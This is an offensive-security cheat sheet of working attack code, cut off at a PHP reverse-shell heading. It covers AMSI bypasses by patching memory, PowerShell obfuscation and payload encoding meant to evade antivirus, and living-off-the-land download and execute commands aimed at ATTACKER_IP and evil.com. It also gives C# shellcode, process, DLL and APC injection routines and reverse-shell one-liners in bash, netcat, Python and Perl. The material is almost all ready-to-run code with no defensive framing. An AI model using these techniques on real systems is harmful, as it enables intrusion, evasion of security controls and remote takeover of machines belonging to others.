General Offensive Techniques Part I
#AMSI Bypass Techniques
## === PATCHING AMSI.DLL IN MEMORY ===
# Method 1: Patch AmsiScanBuffer function
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
# === DOWNGRADE POWERSHELL VERSION ===
# Method 2: Run PowerShell v2 (no AMSI)
powershell.exe -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
# === EXECUTION POLICY BYPASS ===
# Not AMSI bypass, but useful for execution
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX(Get-Content script.ps1 -Raw)"
powershell -ExecutionPolicy Unrestricted -Command "& {IEX(Get-Content .\script.ps1 -Raw)}"
# === TESTING AMSI BYPASS ===
# Test string (triggers AMSI)
'Invoke-Mimikatz'
# Test if AMSI is bypassed
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null)
# Returns True if bypassed
# === AMSI BYPASS FOR SPECIFIC TOOLS ===
# Bypass for PowerShell Empire
IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Bypass before running Invoke-Mimikatz
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz
# === COMBINING TECHNIQUES ===
# Multiple bypass methods for reliability
Try {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
} Catch {}
Try {
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]::Zero)
} Catch {}
# === OBFUSCATION FRAMEWORKS ===
# Use Invoke-Obfuscation for automated obfuscation
# https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
PowerShell Obfuscation
## === STRING OBFUSCATION ===
# Basic concatenation
$cmd = 'Invoke-' + 'Expression'
& $cmd "whoami"
# Character substitution with backticks
$cmd = 'I`n`voke-E`x`pres`sion'
& $cmd "whoami"
# String format
$cmd = "{0}{1}" -f 'Invoke-','Expression'
& $cmd "whoami"
# Join method
$cmd = -join('I','n','v','o','k','e','-','E','x','p','r','e','s','s','i','o','n')
& $cmd "whoami"
# === VARIABLE OBFUSCATION ===
# Random variable names
${`w`h`o`a`m`i} = "whoami"
& ${`w`h`o`a`m`i}
# Special characters in variable names
${a1b2c3} = "whoami"
& ${a1b2c3}
# Unicode escape
$cmd = [char]0x49 + [char]0x45 + [char]0x58 # IEX
& $cmd "whoami"
# === ENCODING OBFUSCATION ===
# Base64 encoding
$bytes = [System.Text.Encoding]::Unicode.GetBytes("whoami")
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded
# Hex encoding
$cmd = "whoami"
$hex = ($cmd.ToCharArray() | ForEach-Object { "{0:X}" -f [int]$_ }) -join ''
$decoded = -join ($hex -split '(..)' | Where-Object { $_ } | ForEach-Object { [char][convert]::ToInt32($_, 16) })
# === COMMAND OBFUSCATION ===
# Using Get-Command
& (Get-Command I*e-E*n) "whoami"
# Using Get-Alias
& (Get-Alias iex) "whoami"
# SplatOperator
$params = @{
Command = 'whoami'
}
& 'cmd' '/c' $params.Command
# === ARRAY AND LOOP OBFUSCATION ===
# Character array
$cmd = [char[]](73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110) -join ''
& $cmd "whoami"
# ForEach obfuscation
$cmd = 'whoami'.ToCharArray() | ForEach-Object { $_ } -join ''
& $cmd
# === TYPE OBFUSCATION ===
# Using .NET types
[System.Diagnostics.Process]::Start("cmd.exe", "/c whoami")
# Invoke-Expression alternatives
.$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==')))
# === WHITESPACE AND CASE OBFUSCATION ===
# Random whitespace
$cmd = 'whoami'
& $cmd
# Random case
$cmd = 'WhOaMi'
& $cmd
# === COMMENT INJECTION ===
# Inline comments
$cmd = 'who<#comment#>ami'
& $cmd
# Multi-line comments
$cmd = 'who<#
comment
#>ami'
& $cmd
# === INVOKE-OBFUSCATION USAGE ===
# Automated obfuscation framework
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Obfuscate specific command
SET SCRIPTBLOCK "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
TOKEN
ALL
1
# Obfuscate script file
SET SCRIPTPATH C:\path\to\script.ps1
AST
ALL
# === GZIP COMPRESSION ===
# Compress and encode script
$script = Get-Content script.ps1 -Raw
$ms = New-Object IO.MemoryStream
$gzip = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
$sw = New-Object IO.StreamWriter($gzip)
$sw.Write($script)
$sw.Close()
$encoded = [Convert]::ToBase64String($ms.ToArray())
# Decompress and execute
$data = [Convert]::FromBase64String($encoded)
$ms = New-Object IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress))
IEX $sr.ReadToEnd()
# === SECURING OBFUSCATION ===
# XOR encryption
$key = "MySecretKey"
$text = "whoami"
$encrypted = 0..($text.Length-1) | ForEach-Object { $text[$_] -bxor $key[$_ % $key.Length] }
$decrypted = -join (0..($encrypted.Length-1) | ForEach-Object { [char]($encrypted[$_] -bxor $key[$_ % $key.Length]) })
# AES encryption
$secureString = ConvertTo-SecureString "whoami" -AsPlainText -Force
$encrypted = ConvertFrom-SecureString $secureString
$decrypted = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR((ConvertTo-SecureString $encrypted)))
# === OBFUSCATION BEST PRACTICES ===
# 1. Combine multiple techniques
# 2. Use random variable names
# 3. Add random whitespace and comments
# 4. Encode/compress payloads
# 5. Use reflection and .NET classes
# 6. Test against AV/EDR before deployment
# 7. Update obfuscation regularly as signatures evolve
Payload Encoding Techniques
## === BASE64 ENCODING ===
# Encode
echo -n "payload" | base64
echo -n "payload" | base64 -w 0 # No wrapping
# Decode
echo "cGF5bG9hZA==" | base64 -d
# PowerShell Base64
$text = "payload"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$encoded = [Convert]::ToBase64String($bytes)
$decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encoded))
# === HEX ENCODING ===
# Encode
echo -n "payload" | xxd -p
echo -n "payload" | od -A n -t x1 | tr -d ' \n'
# Decode
echo "7061796c6f6164" | xxd -r -p
# PowerShell Hex
$text = "payload"
$hex = ($text.ToCharArray() | ForEach-Object { "{0:X2}" -f [byte][char]$_ }) -join ''
$bytes = $hex -split '(..)' | Where-Object {$_} | ForEach-Object { [Convert]::ToByte($_, 16) }
$decoded = [System.Text.Encoding]::ASCII.GetString($bytes)
# === URL ENCODING ===
# Python
python3 -c "import urllib.parse; print(urllib.parse.quote('payload with spaces'))"
python3 -c "import urllib.parse; print(urllib.parse.unquote('payload%20with%20spaces'))"
# PowerShell
Add-Type -AssemblyName System.Web
[System.Web.HttpUtility]::UrlEncode("payload with spaces")
[System.Web.HttpUtility]::UrlDecode("payload%20with%20spaces")
# === HTML ENTITY ENCODING ===
# Python
import html
html.escape("<script>alert('xss')</script>")
html.unescape("<script>alert('xss')</script>")
# === ROT13 ===
# Encode/Decode
echo "payload" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# === XOR ENCODING ===
# Python XOR
python3 << 'EOF'
payload = b'your_payload_here'
key = b'secretkey'
xored = bytes([payload[i] ^ key[i % len(key)] for i in range(len(payload))])
print(xored.hex())
# Decode
decoded = bytes([int(xored.hex()[i:i+2], 16) ^ key[i//2 % len(key)] for i in range(0, len(xored.hex()), 2)])
print(decoded)
EOF
# PowerShell XOR
$payload = "payload"
$key = "key"
$encoded = -join (0..($payload.Length-1) | ForEach-Object {
[char]([byte][char]$payload[$_] -bxor [byte][char]$key[$_ % $key.Length])
})
$decoded = -join (0..($encoded.Length-1) | ForEach-Object {
[char]([byte][char]$encoded[$_] -bxor [byte][char]$key[$_ % $key.Length])
})
# === AES ENCRYPTION ===
# OpenSSL AES
echo "payload" | openssl enc -aes-256-cbc -a -salt -pass pass:password
echo "encrypted" | openssl enc -aes-256-cbc -d -a -pass pass:password
# PowerShell AES
$text = "payload"
$password = "P@ssw0rd"
$salt = [byte[]]@(1,2,3,4,5,6,7,8)
$init = New-Object Security.Cryptography.Rfc2898DeriveBytes($password, $salt, 1000)
$key = $init.GetBytes(32)
$iv = $init.GetBytes(16)
$aes = New-Object Security.Cryptography.AesManaged
$aes.Key = $key
$aes.IV = $iv
$encryptor = $aes.CreateEncryptor()
$bytes = [Text.Encoding]::UTF8.GetBytes($text)
$encrypted = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$encodedEncrypted = [Convert]::ToBase64String($encrypted)
# === GZIP COMPRESSION ===
# Compress
echo "payload" | gzip | base64
# Decompress
echo "compressed_base64" | base64 -d | gunzip
# PowerShell GZIP
$text = "payload"
$bytes = [Text.Encoding]::UTF8.GetBytes($text)
$ms = New-Object IO.MemoryStream
$gzip = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
$gzip.Write($bytes, 0, $bytes.Length)
$gzip.Close()
$compressed = $ms.ToArray()
$encoded = [Convert]::ToBase64String($compressed)
# === UNICODE ENCODING ===
# Python
"payload".encode('unicode_escape')
b'payload'.decode('unicode_escape')
# === BINARY ENCODING ===
# To binary
echo "payload" | xxd -b
# From binary
echo "01110000 01100001 01111001 01101100 01101111 01100001 01100100" | perl -lpe '$_=pack"B*",$_'
# === MULTI-LAYER ENCODING ===
# Base64 → Hex → Base64
echo "payload" | base64 | xxd -p | base64
# XOR → Base64 → Gzip
# Combine multiple encoding layers for maximum evasion
Living Off The Land Binaries (LOLBins)
#File Download
## === POWERSHELL DOWNLOAD METHODS ===
# Method 1: Invoke-WebRequest (PowerShell 3.0+)
Invoke-WebRequest -Uri http://ATTACKER_IP/payload.exe -OutFile payload.exe
iwr http://ATTACKER_IP/payload.exe -OutFile payload.exe
# With user agent
Invoke-WebRequest -Uri http://ATTACKER_IP/payload.exe -OutFile payload.exe -UserAgent "Mozilla/5.0"
# Bypass SSL validation
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest -Uri https://ATTACKER_IP/payload.exe -OutFile payload.exe
# Method 2: WebClient (older, more compatible)
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/payload.exe','payload.exe')
# DownloadString (execute in memory)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')
# With credentials
$client = New-Object Net.WebClient
$client.Credentials = New-Object Net.NetworkCredential('user', 'pass')
$client.DownloadFile('http://ATTACKER_IP/file.exe', 'file.exe')
# Method 3: Start-BitsTransfer (stealthier, slower)
Import-Module BitsTransfer
Start-BitsTransfer -Source http://ATTACKER_IP/payload.exe -Destination C:\Temp\payload.exe
# Background BITS transfer
Start-BitsTransfer -Source http://ATTACKER_IP/payload.exe -Destination C:\Temp\payload.exe -Asynchronous
# === CERTUTIL (DEPRECATED IN WIN11+) ===
# Basic download
certutil -urlcache -f http://ATTACKER_IP/payload.exe payload.exe
# Split download (bypass size restrictions)
certutil -urlcache -split -f http://ATTACKER_IP/payload.exe payload.exe
# Decode base64
certutil -decode encoded.txt decoded.exe
# === BITSADMIN (DEPRECATED) ===
# Basic transfer
bitsadmin /transfer job http://ATTACKER_IP/payload.exe %TEMP%\payload.exe
# With priority
bitsadmin /transfer job /download /priority high http://ATTACKER_IP/payload.exe %TEMP%\payload.exe
# === CURL (NATIVE IN WIN10+) ===
# Basic download
curl http://ATTACKER_IP/payload.exe -o payload.exe
curl.exe http://ATTACKER_IP/payload.exe -o payload.exe
# Follow redirects
curl -L http://ATTACKER_IP/payload.exe -o payload.exe
# With user agent
curl -A "Mozilla/5.0" http://ATTACKER_IP/payload.exe -o payload.exe
# === WGET (IF AVAILABLE) ===
wget http://ATTACKER_IP/payload.exe -O payload.exe
# === XMLHTTP COM OBJECT ===
# Download file
powershell -c "$x=New-Object -ComObject Msxml2.XMLHTTP; $x.open('GET','http://ATTACKER_IP/payload.exe',$false); $x.send(); [IO.File]::WriteAllBytes('payload.exe',$x.ResponseBody)"
# Download and execute in memory
powershell -c "$x=New-Object -ComObject Msxml2.XMLHTTP; $x.open('GET','http://ATTACKER_IP/script.ps1',$false); $x.send(); IEX $x.ResponseText"
# === INTERNETEXPLORER COM OBJECT ===
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Visible = $false
$ie.Navigate('http://ATTACKER_IP/payload.exe')
while($ie.Busy) { Start-Sleep -Milliseconds 100 }
$doc = $ie.Document
$doc.body.innerText | Out-File payload.exe
# === DESKTOPIMGDOWNLDR (WINDOWS 10) ===
# Download and set as wallpaper (copies file)
cmd /c "set url=http://ATTACKER_IP/payload.jpg&&set dest=%TEMP%\bg.jpg&&desktopimgdownldr.exe /lockscreenurl:%url% /eventName:desktopimgdownldr"
# === ESENTUTL ===
# Copy file from remote location
esentutl.exe /y \\ATTACKER_IP\share\payload.exe /d C:\Temp\payload.exe /o
# === EXPAND ===
# Extract cab file
expand \\ATTACKER_IP\share\payload.cab C:\Temp\payload.exe
# === EXTRAC32 ===
# Extract from CAB
extrac32.exe /C /Y \\ATTACKER_IP\share\payload.cab C:\Temp\
# === FINDSTR ===
# Download via findstr (creative method)
findstr /V dummystring \\ATTACKER_IP\share\payload.exe > payload.exe
# === FTP ===
# Script-based FTP download
echo open ATTACKER_IP > ftp.txt
echo user username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo get payload.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
# === VBS DOWNLOAD ===
# Create VBS download script
echo Dim objXMLHTTP, objStream > download.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> download.vbs
echo objXMLHTTP.open "GET", "http://ATTACKER_IP/payload.exe", False >> download.vbs
echo objXMLHTTP.send >> download.vbs
echo Set objStream = CreateObject("ADODB.Stream") >> download.vbs
echo objStream.Open >> download.vbs
echo objStream.Type = 1 >> download.vbs
echo objStream.Write objXMLHTTP.responseBody >> download.vbs
echo objStream.SaveToFile "payload.exe", 2 >> download.vbs
echo objStream.Close >> download.vbs
cscript //nologo download.vbs
Code Execution
## === RUNDLL32 ===
# JavaScript execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")
# URL script execution
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://ATTACKER_IP/payload.sct")
# DLL execution
rundll32.exe payload.dll,EntryPoint
# === REGSVR32 ===
# Remote SCT file execution
regsvr32 /s /n /u /i:http://ATTACKER_IP/payload.sct scrobj.dll
# Local SCT execution
regsvr32 /s /u /i:payload.sct scrobj.dll
# === MSHTA ===
# Remote HTA
mshta http://ATTACKER_IP/payload.hta
# Inline JavaScript
mshta javascript:a=GetObject("script:http://ATTACKER_IP/payload.sct").Exec();close()
# Inline VBScript
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""calc.exe"":close")
# === INSTALLUTIL ===
# Execute malicious .NET assembly
InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
# Bypass with custom uninstaller
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
# === MSBUILD ===
# Execute inline task in XML
msbuild.exe payload.xml
# Example payload.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task {
public override bool Execute() {
System.Diagnostics.Process.Start("calc.exe");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
# === CMSTP ===
# Execute INF file
cmstp.exe /ni /s payload.inf
# Example payload.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://ATTACKER_IP/payload.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Updater"
ShortSvcName="Updater"
# === FORFILES ===
# Execute arbitrary command
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd.exe /c calc.exe"
# === WMIC ===
# Process creation
wmic process call create "calc.exe"
wmic process call create "powershell.exe -enc BASE64_ENCODED_COMMAND"
# XSL script execution
wmic os get /format:"http://ATTACKER_IP/payload.xsl"
# Local XSL
wmic process list /format:payload.xsl
# === PCALUA ===
# Execute with Program Compatibility Assistant
pcalua.exe -m -a payload.exe
# === CONTROL.EXE ===
# Execute CPL file
control.exe payload.cpl
# === MAVINJECT ===
# DLL injection into process
mavinject.exe <PID> /INJECTRUNNING C:\path\to\payload.dll
# === SyncAppvPublishingServer ===
# Execute PowerShell script
SyncAppvPublishingServer.exe "n;Start-Process calc.exe"
# === ODBCCONF ===
# Execute DLL via ODBC
odbcconf.exe /a {REGSVR C:\path\to\payload.dll}
# === REGASM / REGSVCS ===
# Execute .NET assembly
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe payload.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe payload.dll
# === MSDT ===
# Exploit ms-msdt protocol (Follina)
msdt.exe /id PCWDiagnostic /skip force /param "IT_BrowseForFile=\\ATTACKER_IP\payload IT_SelectProgram=NotListed IT_AutoTroubleshoot=ts_AUTO"
# === REPLACE ===
# Replace system file with malicious one
replace.exe payload.exe C:\Windows\System32\original.exe
# === MAKECAB ===
# Create CAB with embedded file
makecab payload.exe payload.cab
# === DFSVC ===
# ClickOnce deployment
dfsvc.exe http://ATTACKER_IP/payload.application
# === IEEXEC ===
# Execute .NET application from URL
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ieexec.exe http://ATTACKER_IP/payload.exe
# === PRESENTATIONHOST ===
# Execute XAML
C:\Windows\System32\PresentationHost.exe payload.xbap
# === WINGET (WINDOWS 11) ===
# Install malicious package
winget install --manifest malicious.yaml
# === MSCONFIG ===
# Launch with malicious DLL
msconfig.exe -3 payload.dll
Advanced Payload Techniques
#In-Memory Execution
## === SHELLCODE INJECTION ===
# Basic shellcode injection
$code = @"
using System;
using System.Runtime.InteropServices;
public class Inject {
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void Execute(byte[] shellcode) {
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
"@
Add-Type $code
$shellcode = [Convert]::FromBase64String("SHELLCODE_BASE64")
[Inject]::Execute($shellcode)
# === PROCESS INJECTION ===
# Inject into remote process
$code = @"
using System;
using System.Runtime.InteropServices;
public class ProcessInject {
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void Inject(int pid, byte[] shellcode) {
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
UIntPtr bytesWritten;
WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out bytesWritten);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
"@
Add-Type $code
$pid = (Get-Process notepad).Id
$shellcode = [Convert]::FromBase64String("SHELLCODE_BASE64")
[ProcessInject]::Inject($pid, $shellcode)
# === DLL INJECTION ===
# LoadLibrary injection
$code = @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class DLLInject {
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static void Inject(int pid, string dllPath) {
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr allocMemAddress = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), 0x3000, 0x40);
UIntPtr bytesWritten;
WriteProcessMemory(hProcess, allocMemAddress, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
}
}
"@
Add-Type $code
$pid = (Get-Process notepad).Id
$dllPath = "C:\Temp\evil.dll"
[DLLInject]::Inject($pid, $dllPath)
# === REFLECTIVE DLL INJECTION ===
# Load PE in memory without touching disk
# Use PowerSploit's Invoke-ReflectivePEInjection
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1')
# Inject into current process
Invoke-ReflectivePEInjection -PEBytes $PEBytes
# Inject into remote process
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcId 1234
# === PE INJECTION (PROCESS HOLLOWING) ===
# Create suspended process and replace image
# Complex technique - use frameworks like:
# - PowerSploit
# - Invoke-PSInject
# - SharpSploit
# === APC INJECTION ===
# Queue APC to thread
$code = @"
using System;
using System.Runtime.InteropServices;
public class APCInject {
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll")]
static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
public static void Inject(int pid, uint tid, byte[] shellcode) {
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
UIntPtr bytesWritten;
WriteProcessMemory(hProcess, addr, shellcode, (uint)shellcode.Length, out bytesWritten);
IntPtr hThread = OpenThread(0x0010, false, tid);
QueueUserAPC(addr, hThread, IntPtr.Zero);
}
}
"@
# === MODULE STOMPING ===
# Overwrite legitimate module in memory
# Advanced technique - requires understanding of PE format
# === THREAD EXECUTION HIJACKING ===
# Suspend thread, modify context, resume
# Very stealthy but complex
# === ATOM BOMBING ===
# Use Atom tables for code injection
# Older technique but still works
# === DONUT ===
# Convert .NET assemblies to shellcode
# https://github.com/TheWover/donut
donut -f payload.exe -o payload.bin
# Load with any shellcode injection method
$shellcode = [System.IO.File]::ReadAllBytes("payload.bin")
[Inject]::Execute($shellcode)
Reverse Shells
#Linux Reverse Shells
## === BASH REVERSE SHELLS ===
# Method 1: Classic bash TCP
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Method 2: Bash with error redirection
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Method 3: Bash file descriptor method
exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
# Method 4: Bash with 196 file descriptor (less common, more stealthy)
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196
# === NETCAT REVERSE SHELLS ===
# Method 1: Traditional netcat with -e
nc -e /bin/bash ATTACKER_IP 4444
nc -e /bin/sh ATTACKER_IP 4444
# Method 2: Netcat with -c (some versions)
nc -c /bin/bash ATTACKER_IP 4444
# Method 3: FIFO named pipe method (when -e unavailable)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
# Method 4: Netcat with backpipe
nc ATTACKER_IP 4444 | /bin/sh | nc ATTACKER_IP 4445
# Method 5: Ncat with SSL encryption
ncat --ssl ATTACKER_IP 4444 -e /bin/bash
# === PYTHON REVERSE SHELLS ===
# Method 1: Python 2
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'
# Method 2: Python 3
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'
# Method 3: Python PTY shell (better interactivity)
python3 -c 'import socket,subprocess,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/bash")'
# Method 4: Python with error handling
python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("ATTACKER_IP",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"])'
# === PERL REVERSE SHELLS ===
# Method 1: Basic Perl
perl -e 'use Socket; $i="ATTACKER_IP"; $p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect(S,sockaddr_in($p,inet_aton($i))); open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");'
# Method 2: Perl one-liner (shorter)
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
# === PHP REVERSE SHELLS ===
# Method 1: PHP exec
